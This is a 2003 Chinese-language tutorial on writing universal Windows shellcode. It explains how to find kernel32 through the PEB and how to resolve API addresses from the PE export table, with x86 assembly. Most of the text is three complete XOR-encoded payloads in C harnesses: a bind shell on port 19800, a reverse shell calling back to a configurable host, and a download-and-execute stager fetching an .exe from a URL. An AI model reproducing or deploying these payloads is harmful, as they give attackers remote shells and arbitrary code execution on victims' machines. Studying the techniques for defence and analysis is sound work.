Shellcode编写技术
创建时间:2003-08-31
文章属性:原创
文章提交: jeno (xxgchappy_at_vip.sina.com)
作者:jeno
Email: jeno@vip.371.net
Time: 2003-8-31
Title:Shellcode编写技术
前些日子在调试 http://www.microsoft.com/technet/security/bulletin/MS03-015.asp
的时候遇到了比较苦恼的事情,那就是我通过覆盖了eip或者seh来得到执行代码的权利,但是
现在网上流行的shellcode不能满足我的要求,主要有以下几个方面:
1、不通用,一般只能在win2000下运行,很少可以在winxp,win2003下正常运行。
2、没有处理好程序退出问题,在ie溢出的时候同时把ie给异常结束了。
3、有些代码太长,甚至达到了1000字节以上。
4、再不同语言环境下可能不通用。
由于有了上面四点原因,我打算写个通用的shellcode来用。其实shellcode通不通用最重要的是
获得一些地址的方法,看了很多人写的shellcode总觉得不是太好,因为他们大都采用在peb中找
出kernel32的地址,然后在shellcode末尾有你需要函数的ascii码,通过搜索内存来找到地址,
我先说说为什么可以在peb中找到kernel32的地址:
1、fs指向teb结构
2、在teb+0x30地方指向peb结构
3、在peb+0x0c地方指向PEB_LDR_DATA结构
4、在PEB_LDR_DATA+0x1c地方就是一些动态连接库的地址了,如第一个指向ntdll.dll 第二个就
是我们需要的kernel32.dll的地址
以下是汇编代码
mov eax, fs:0x30
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了
一般shellcode获得函数的方法用汇编表示如下:
search_function:
inc ebx
cmp [ebx], dl
jne no_zero
inc ecx
no_zero:
cmp [ebx], DWORD PTR 'PteG'
jne no_match
cmp [ebx+4], DWORD PTR 'Acor'
jne no_match
je search_complete
no_match:
jmp search_function
ebx 中放的是 esi:0的东西一般是一个base address
如 db 0ffh,0ffh,0e8h,077h ;Specify the Kernel Base @ 77e60000h
这就是造成一般shellcode不通用的主要原因(固定地址)
为了达到通用的目的我们必须分析pe文件格式,通过分析我们得到如下方法:
从PE EDT中获得函数地址
1、PE header offset =kernel32.dll base address+0x3c;
2、exports directory offset =kernel32.dll base address+PE header offset+120;
3、exports directory table=kernel32.dll base address+exports directory offset;
4、name pointers table =exports directory table+32;
5、然后再name pointers table中比较函数的名字(可以按名字比较,也可以把名字hash以下比较hash值)
6、ordinals table=exports directory table+36
7、ordinals table指向函数的地址,所以根据对应的序号通过ordinals table找到函数的地址
给出搜索汇编代码
mov ebp, [somewhere] kernel32.dll 基址
mov eax, [ebp + 0x3c] eax = PE header offset
mov edx, [ebp + eax + 120]
add edx, ebp edx = exports directory table
mov ecx, [edx + 24] ecx = number of name pointers
mov ebx, [edx + 32]
add ebx, ebp ebx = name pointers table
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp esi 就是指向 name pointer
下面搜索就可以自己写了,天高任鸟飞!
心得:
1、再写网络shellcode时最好加上WairForSingleObject
2、不要忘了ExitProcess,可以避免很多程序错误。
3、代码通过xor99后不要有0A,因为在ie溢出中会对0A转换成0D0A在copy字符串的时候就会缩短。
好了就写这些吧!希望对大家会有所启发!
附我写的三个通用shellcode:
1、bindport 19800
#include <winsock.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define scport 19800
//don't change the offset
#define port_offset 251
unsigned char jeno_bindport19800_sc[] =
"/xEB/x10/x5B/x4B/x33/xC9/x66/xB9/xd9/x01/x80/x34/x0B/x99/xE2/xFA"
"/xEB/x05/xE8/xEB/xFF/xFF/xFF/x18/x75/x19/x99/x99/x99/x12/x6D/x71"
"/xD5/x98/x99/x99/x10/x9F/x66/xAF/xF1/x17/xD7/x97/x75/x71/xFF/x98"
"/x99/x99/x10/xDF/x91/x66/xAF/xF1/x34/x40/x9C/x57/x71/xCE/x98/x99"
"/x99/x10/xDF/x95/xF1/xF5/xF5/x99/x99/xF1/xAA/xAB/xB7/xFD/xF1/xEE"
"/xEA/xAB/xC6/xCD/x66/xCF/x91/x10/xDF/x9D/x66/xAF/xF1/xEB/x67/x2A"
"/x8F/x71/xAB/x98/x99/x99/x10/xDF/x89/x66/xAF/xF1/xE7/x41/x7B/xEA"
"/x71/xBA/x98/x99/x99/x10/xDF/x8D/x66/xEF/x9D/xF1/x52/x74/x65/xA2"
"/x71/x8A/x98/x99/x99/x10/xDF/x81/x66/xEF/x9D/xF1/x40/x90/x6C/x34"
"/x71/x9A/x98/x99/x99/x10/xDF/x85/x66/xEF/x9D/xF1/x3D/x83/xE9/x5E"
"/x71/x6A/x99/x99/x99/x10/xDF/xB9/x66/xEF/x9D/xF1/x3D/x34/xB7/x70"
"/x71/x7A/x99/x99/x99/x10/xDF/xBD/x66/xEF/x9D/xF1/x7C/xD0/x1F/xD0"
"/x71/x4A/x99/x99/x99/x10/xDF/xB1/x66/xEF/x9D/xF1/x7E/xE0/x5F/xE0"
"/x71/x5A/x99/x99/x99/x10/xDF/xB5/xAA/x66/x18/x75/x09/x98/x99/x99"
"/xCD/xF1/x98/x98/x99/x99/x66/xCF/x81/xC9/xC9/xC9/xC9/xD9/xC9/xD9"
"/xC9/x66/xCF/x85/x12/x41/xCE/xCE/xF1/x9B/x99/xd4/xc1/x12/x55/xF3"
"/x8F/xC8/xCA/x66/xCF/xB9/xCE/xCA/x66/xCF/xBD/xCE/xC8/xCA/x66/xCF"
"/xB1/x12/x49/xF1/xFC/xE1/xFC/x99/xF1/xFA/xF4/xFD/xB7/x10/xFF/xA9"
"/x1A/x75/xCD/x14/xA5/xBD/xAA/x59/xAA/x50/x1A/x58/x8C/x32/x7B/x64"
"/x5F/xDD/xBD/x89/xDD/x67/xDD/xBD/xA5/x67/xDD/xBD/xA4/x10/xCD/xBD"
"/xD1/x10/xCD/xBD/xD5/x10/xCD/xBD/xC9/x14/xDD/xBD/x89/xCD/xC9/xC8"
"/xC8/xC8/xD8/xC8/xD0/xC8/xC8/x66/xEF/xA9/xC8/x66/xCF/x89/x12/x55"
"/xF3/x66/x66/xA8/x66/xCF/x95/x12/x51/xCE/x66/xCF/xB5/x66/xCF/x8D"
"/xCC/xCF/xFD/x38/xA9/x99/x99/x99/x1C/x59/xE1/x95/x12/xD9/x95/x12"
"/xE9/x85/x34/x12/xF1/x91/x72/x90/x12/xD9/xAD/x12/x31/x21/x99/x99"
"/x99/x12/x5C/xC7/xC4/x5B/x9D/x99/xCA/xCC/xCF/xCE/x12/xF5/xBD/x81"
"/x12/xDC/xA5/x12/xCD/x9C/xE1/x9A/x4C/x12/xD3/x81/x12/xC3/xB9/x9A"
"/x44/x7A/xAB/xD0/x12/xAD/x12/x9A/x6C/xAA/x66/x65/xAA/x59/x35/xA3"
"/x5D/xED/x9E/x58/x56/x94/x9A/x61/x72/x6B/xA2/xE5/xBD/x8D/xEC/x78"
"/x12/xC3/xBD/x9A/x44/xFF/x12/x95/xD2/x12/xC3/x85/x9A/x44/x12/x9D"
"/x12/x9A/x5C/x72/x9B/xAA/x59/x12/x4C/xC6/xC7/xC4/xC2/x5B/x9D/x99";
//bindport 19800
int main(int argc, char **argv)
{
WSADATA wsa;
unsigned short port;
WSAStartup(MAKEWORD(2,2),&wsa);
port = htons(scport)^(u_short)0x9999;
memcpy(&jeno_bindport19800_sc[port_offset], &port, 2);
((void (*)(void)) &jeno_bindport19800_sc)();
}
2、Reverse shellcode default connect back 127.0.0.1 1980
#include <winsock.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define scip "127.0.0.1"
#define scport 1980
//don't change the offset
#define ip_offset 201
#define port_offset 208
unsigned char jeno_connectback_sc[]=
"/xEB/x10/x5B/x4B/x33/xC9/x66/xB9/x9f/x01/x80/x34/x0B/x99/xE2/xFA"
"/xEB/x05/xE8/xEB/xFF/xFF/xFF/xFF/x18/x75/x19/x99/x12/x6D/x71/x8A"
"/x98/x99/x99/x10/x9F/x66/xAF/xF1/x17/xD7/x97/x75/x71/xB4/x98/x99"
"/x99/x10/xDF/x91/x66/xAF/xF1/x34/x40/x9C/x57/x71/x87/x98/x99/x99"
"/x10/xDF/x95/xF1/xF5/xF5/x99/x99/xF1/xAA/xAB/xB7/xFD/xF1/xEE/xEA"
"/xAB/xC6/xCD/x66/xCF/x91/x10/xDF/x9D/x66/xAF/xF1/xEB/x67/x2A/x8F"
"/x71/x60/x99/x99/x99/x10/xDF/x89/x66/xAF/xF1/xE7/x41/x7B/xEA/x71"
"/x73/x99/x99/x99/x10/xDF/x8D/x66/xEF/x9D/xF1/x52/x74/x65/xA2/x71"
"/x43/x99/x99/x99/x10/xDF/x81/x66/xEF/x9D/xF1/x40/x90/x6C/x34/x71"
"/x53/x99/x99/x99/x10/xDF/x85/x66/xEF/x9D/xF1/x75/x60/x33/xF9/x71"
"/x23/x99/x99/x99/x10/xDF/xB9/x18/x75/x09/x98/x99/x99/xCD/xF1/x98"
"/x98/x99/x99/x66/xCF/x81/xC9/xC9/xC9/xC9/xD9/xC9/xD9/xC9/x66/xCF"
"/x85/x12/x41/x72/x9A/x66/xCF/x8D/xF1/xE6/x99/x99/x98/xF1/x9B/x99"
"/x9e/x25/x12/x55/xF3/x89/xC8/xCA/x66/xCF/xB9/x1C/x59/xEC/x7F/xF1"
"/xFC/xE1/xFC/x99/xF1/xFA/xF4/xFD/xB7/x10/xFF/xA9/x1A/x5D/x35/x14"
"/xA5/xBD/xAA/x59/xAA/x50/x19/x70/x72/x32/x7B/x64/x5F/xDD/xBD/x89"
"/xDD/x67/xDD/xBD/xA5/x67/xDD/xBD/xA4/x10/xC5/xBD/xD1/x10/xC5/xBD"
"/xD5/x10/xC5/xBD/xC9/x14/xDD/xBD/x89/xCD/xC9/xC8/xC8/xC8/xF3/x98"
"/xC8/xC8/x66/xEF/xA9/xC8/x66/xCF/x89/x12/x55/xF3/x66/x66/xA8/x66"
"/xCF/x95/x12/x51/x72/x16/xCC/xCF/xFD/x38/xA9/x99/x99/x99/x1C/x59"
"/xE1/x95/x12/xD9/x95/x12/xE9/x85/x34/x12/xF1/x91/x72/x90/x12/xD9"
"/xAD/x12/x31/x21/x99/x99/x99/x12/x5C/xC7/xC4/x5B/x9D/x99/xCA/xCC"
"/xCF/xCE/x12/xF5/xBD/x81/x12/xDC/xA5/x12/xCD/x9C/xE1/x9A/x4C/x12"
"/xD3/x81/x12/xC3/xB9/x9A/x44/x7A/xAB/xD0/x12/xAD/x12/x9A/x6C/xAA"
"/x66/x65/xAA/x59/x35/xA3/x5D/xED/x9E/x58/x56/x94/x9A/x61/x72/x6B"
"/xA2/xE5/xBD/x8D/xEC/x78/x12/xC3/xBD/x9A/x44/xFF/x12/x95/xD2/x12"
"/xC3/x85/x9A/x44/x12/x9D/x12/x9A/x5C/x72/x9B/xAA/x59/x12/x4C/xC6"
"/xC7/xC4/xC2/x5B/x9D/x99";
main()
{
WSADATA wsa;
unsigned short port;
unsigned long ip;
WSAStartup(MAKEWORD(2,2),&wsa);
port = htons(scport)^(u_short)0x9999;
ip = inet_addr(scip)^0x99999999;
memcpy(&jeno_connectback_sc[port_offset], &port, 2);
memcpy(&jeno_connectback_sc[ip_offset], &ip, 4);
((void (*)(void)) &jeno_connectback_sc)();
return 0;
}
3、Download&&executeShellcode
#include <winsock.h>
#include <stdio.h>
unsigned char jeno_downloadfile_sc[]=
"/xEB/x10/x5B/x4B/x33/xC9/x66/xB9/x3c/x01/x80/x34/x0B/x99/xE2/xFA"
"/xEB/x05/xE8/xEB/xFF/xFF/xFF/x70/x34/x99/x99/x99/xC3/x12/x6B/xAA"
"/x59/x35/xA4/x01/x99/x99/x99/xEC/x6F/x18/x75/x51/x99/x99/x99/x12"
"/x6D/x10/xCF/xBD/x71/x0C/x99/x99/x99/xAA/x42/x10/x9F/x66/xAF/xF1"
"/x17/xD7/x97/x75/x71/x34/x99/x99/x99/x10/xDF/x91/xF1/xF5/xF5/x99"
"/x99/xF1/xF6/xF7/xB7/xFD/xF1/xEC/xEB/xF5/xF4/xCD/x66/xCF/x91/x10"
"/xDF/x9D/x66/xAF/xF1/xE7/x41/x7B/xEA/x71/x11/x99/x99/x99/x10/xDF"
"/x95/x66/xAF/xF1/x01/x67/x13/x97/x71/xE0/x99/x99/x99/x10/xDF/x8D"
"/x66/xAF/xF1/xBC/x29/x66/x5B/x71/xF3/x99/x99/x99/x10/xDF/x81/x66"
"/xEF/x9D/xF1/xAF/x83/xB6/xE9/x71/xC3/x99/x99/x99/x10/xDF/x89/xF3"
"/xFC/xF1/xEA/xB7/xFC/xE1/x10/xFF/x85/x66/xEF/x85/x66/xCF/x81/xAA"
"/x50/xC8/xC8/x66/xEF/x85/x66/xEF/xBD/xC8/x66/xCF/x89/xAA/x50/xC8"
"/x66/xEF/x85/x66/xCF/x8D/x66/xCF/x95/x70/x19/x99/x99/x99/xCC/xCF"
"/xFD/x38/xA9/x99/x99/x99/x1C/x59/xE1/x95/x12/xD9/x95/x12/xE9/x85"
"/x34/x12/xF1/x91/x72/x90/x12/xD9/xAD/x12/x31/x21/x99/x99/x99/x12"
"/x5C/xC7/xC4/x5B/x9D/x99/xCA/xCC/xCF/xCE/x12/xF5/xBD/x81/x12/xDC"
"/xA5/x12/xCD/x9C/xE1/x9A/x4C/x12/xD3/x81/x12/xC3/xB9/x9A/x44/x7A"
"/xAB/xD0/x12/xAD/x12/x9A/x6C/xAA/x66/x65/xAA/x59/x35/xA3/x5D/xED"
"/x9E/x58/x56/x94/x9A/x61/x72/x6B/xA2/xE5/xBD/x8D/xEC/x78/x12/xC3"
"/xBD/x9A/x44/xFF/x12/x95/xD2/x12/xC3/x85/x9A/x44/x12/x9D/x12/x9A"
"/x5C/x72/x9B/xAA/x59/x12/x4C/xC6/xC7/xC4/xC2/x5B/x9D/x99/x71/x50"
"/x67/x66/x66"
" http://127.0.0.1/b.exe"
"/x98";
main()
{
((void (*)(void)) &jeno_downloadfile_sc)();
return 0;
}
end.